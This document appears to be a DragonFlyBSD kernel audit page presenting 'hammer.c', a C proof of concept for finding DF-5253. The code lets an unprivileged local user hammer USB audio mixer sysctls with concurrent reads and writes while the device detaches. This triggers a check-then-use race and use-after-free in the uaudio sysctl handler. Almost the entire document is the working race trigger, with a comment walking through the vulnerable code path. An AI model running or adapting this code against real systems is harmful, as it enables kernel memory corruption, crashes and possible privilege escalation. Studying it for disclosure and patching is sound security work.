⬢ DragonFlyBSD Kernel Audit
DF-5253 / hammer.c
← back to finding ↓ download raw
/*
 * DF-5253 race hammer - unprivileged local user.
 *
 * Drives uaudio_mixer_sysctl_handler() (sys/bus/u4b/audio/uaudio.c:2736)
 * with concurrent READ+WRITE sysctl operations in-process (no fork/exec),
 * so the kernel handler repeatedly executes:
 *
 *   if (sc->sc_mixer_lock == NULL) return (ENXIO);      <- check
 *   lockmgr(sc->sc_mixer_lock, LK_EXCLUSIVE);           <- use #1
 *   ... walk sc_mixer_root ...
 *   lockmgr(sc->sc_mixer_lock, LK_RELEASE);
 *   sysctl_handle_int(...)                              <- copyin/copyout: blocks
 *   lockmgr(sc->sc_mixer_lock, LK_EXCLUSIVE);           <- use #2 (stale ptr!)
 *   pmc->wData[chan] = temp;                            <- write via stale pmc
 *
 * While this runs, the USB audio device is detached (device_del), which runs
 * pcm child detach -> pcm_unregister() -> mixer_uninit() -> MIXER_UNINIT ->
 * uaudio_mixer_uninit_sub() sets sc_mixer_lock=NULL and unsups the xfer,
 * snd_mtxfree(m->lock) FREES the lock, kobj_delete(m) frees the snd_mixer,
 * and later uaudio_mixer_ctl_free() frees the mixer nodes - all while the
 * sysctl OIDs are still registered (ctx freed afterwards in
 * device_sysctl_fini()).
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *base = "dev.pcm.0.mixer";
	const char *ctls[8];
	char name[128];
	int nctl = 0;
	int ov, nv = -13380;
	size_t ol, nl;
	unsigned long n = 0;
	int i;

	/* all existing mixer ctl names for this device */
	{
		int mib[CTL_MAXNAME], mib2[CTL_MAXNAME];
		size_t miblen = sizeof(mib), sz;
		char q[1024], *p;

		strlcpy(q, base, sizeof(q));
		if (sysctlnametomib(q, mib, &miblen) != 0)
			err(1, "sysctlnametomib(%s)", q);
		for (i = 0; i < 64 && nctl < 8; i++) {
			mib2[0] = 0;	/* sysctl next */
			(void)mib;
			(void)sz; (void)p;
		}
	}
	/* fixed names known to exist for the QEMU usb-audio device */
	ctls[nctl++] = "dev.pcm.0.mixer.vol_0_0.val";
	ctls[nctl++] = "dev.pcm.0.mixer.vol_0_1.val";
	ctls[nctl++] = "dev.pcm.0.mixer.mute_1.val";

	for (;;) {
		for (i = 0; i < nctl; i++) {
			ov = 0;
			ol = sizeof(ov);
			nl = sizeof(nv);
			/* oldp+newp: handler must pass the NULL check, lock,
			 * unlock, cross user-space twice, then re-lock. */
			sysctlbyname(ctls[i], &ov, &ol, &nv, nl);
		}
		n++;
		if ((n & 0xFFFFF) == 0) {
			snprintf(name, sizeof(name), "/tmp/hammerc.%d.count",
			    (int)getpid());
			FILE *f = fopen(name, "w");
			if (f) { fprintf(f, "%lu\n", n); fclose(f); }
		}
	}
}